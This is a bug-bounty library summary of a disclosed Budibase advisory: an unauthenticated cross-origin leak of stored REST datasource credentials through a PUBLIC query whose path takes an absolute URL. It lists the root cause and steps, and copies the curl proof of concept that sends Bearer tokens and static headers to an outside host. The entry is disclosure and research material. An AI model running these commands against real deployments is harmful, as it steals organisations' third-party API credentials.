# Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak

Budibase attaches stored REST datasource credentials before resolving the request host, so a PUBLIC query path pointed at an attacker URL leaks Bearer tokens and static headers unauthenticated.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: Hasinohacker
- Disclosed: 2026-07-24
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mqhr-6j6h-74p5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mqhr-6j6h-74p5
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix vuln:access-control vuln:info-disclosure vuln:secrets-leak vuln:ssrf

**Target:** REST datasource integration / query execute endpoint POST /api/v2/queries/:queryId
**Root cause:** `_req()` builds authHeaders from stored auth configs and merges defaultHeaders into every request before the URL is resolved; `getUrl()` treats a query `path` starting with `http` as an absolute URL, ignoring the datasource base URL, with no same-origin check before credentials are attached.
**Steps:**
1. Create REST datasource with stored bearer token and static header via `POST /api/datasources`
2. Create query with `fields.path` set to `{{ t }}` and `authConfigId` bound to the bearer config via `POST /api/queries`
3. Grant PUBLIC read/write on the query via `POST /api/permission/PUBLIC/$QID/write` and `/read`, then publish the app
4. Anonymous: `POST /api/v2/queries/$QID` with `x-budibase-app-id` and body `{"parameters":{"t":"https://postman-echo.com/get"}}`; response echoes `authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242`
**How found:** Noticed the prior GHSA-3gp5 fix only blocked base-URL rewriting and added no same-origin check; hypothesized the query `path` parameter binding remained an absolute-URL vector, and that a PUBLIC-role query made it reachable without a session.
**Exploitation:** Attacker reads published app id and query id from a customer-facing app, sends one unauthenticated request with a parameter pointing the query path at an attacker-controlled host; Budibase attaches the stored Authorization header and static headers and delivers them to that host, which logs them. Attacker then calls the third-party API directly as the victim org.
**Insight:** When a fix blocks one input vector (base URL) but not the credential-attachment ordering, look for sibling inputs (query path, parameter bindings) that reach the same URL resolution; also check whether the vulnerable object can be published at PUBLIC role to drop auth entirely.

## Proof of concept (copied exactly from the original report)

**Anonymous query execution leaking Bearer token to attacker host**

```
curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}'
```

**Datasource creation with stored Bearer token and static header**

```
DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=[redacted]; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"
```

**Query with parameterized path and auth config**

```
QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=[redacted]; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"
```

